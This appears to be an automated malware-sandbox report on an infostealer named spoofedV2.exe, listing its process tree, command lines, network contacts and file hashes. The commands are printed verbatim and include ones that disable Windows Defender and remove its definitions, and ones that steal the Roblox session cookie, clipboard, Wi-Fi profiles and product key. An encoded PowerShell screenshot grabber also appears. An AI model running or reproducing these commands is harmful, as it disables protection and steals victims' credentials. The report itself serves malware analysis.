PID 4620 wrote to memory of 4884 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 4884 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 3444 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 3444 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 2528 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2528 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2276 wrote to memory of 4416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2276 wrote to memory of 4416 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 4516 wrote to memory of 3432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4516 wrote to memory of 3432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4620 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\System32\Conhost.exe
PID 4620 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\System32\Conhost.exe
PID 4452 wrote to memory of 3132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 4452 wrote to memory of 3132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3444 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3444 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1336 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 8 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 8 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2820 wrote to memory of 3440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2820 wrote to memory of 3440 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2172 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2172 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2904 wrote to memory of 1828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2904 wrote to memory of 1828 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 4884 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4884 wrote to memory of 4360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4620 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe
PID 4620 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe

"C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code - 10X8', 0, 'Loader Failure', 0+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‍ ‎.scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code - 10X8', 0, 'Loader Failure', 0+16);close()"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‍ ‎.scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nxamjltt\nxamjltt.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC3DC.tmp" "c:\Users\Admin\AppData\Local\Temp\nxamjltt\CSCD81EFB381F614464BA3AF7D46884BB.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Dhokh.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Dhokh.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe""

C:\Windows\system32\PING.EXE

ping localhost -n 3

C:\Windows\system32\backgroundTaskHost.exe

"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /7

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe"

C:\Windows\System32\msg.exe

"C:\Windows\System32\msg.exe"

C:\Windows\System32\msg.exe

"C:\Windows\System32\msg.exe"

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.204.67:443 gstatic.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 67.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 ptb.discord.com udp
US 162.159.138.232:443 ptb.discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI34842\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
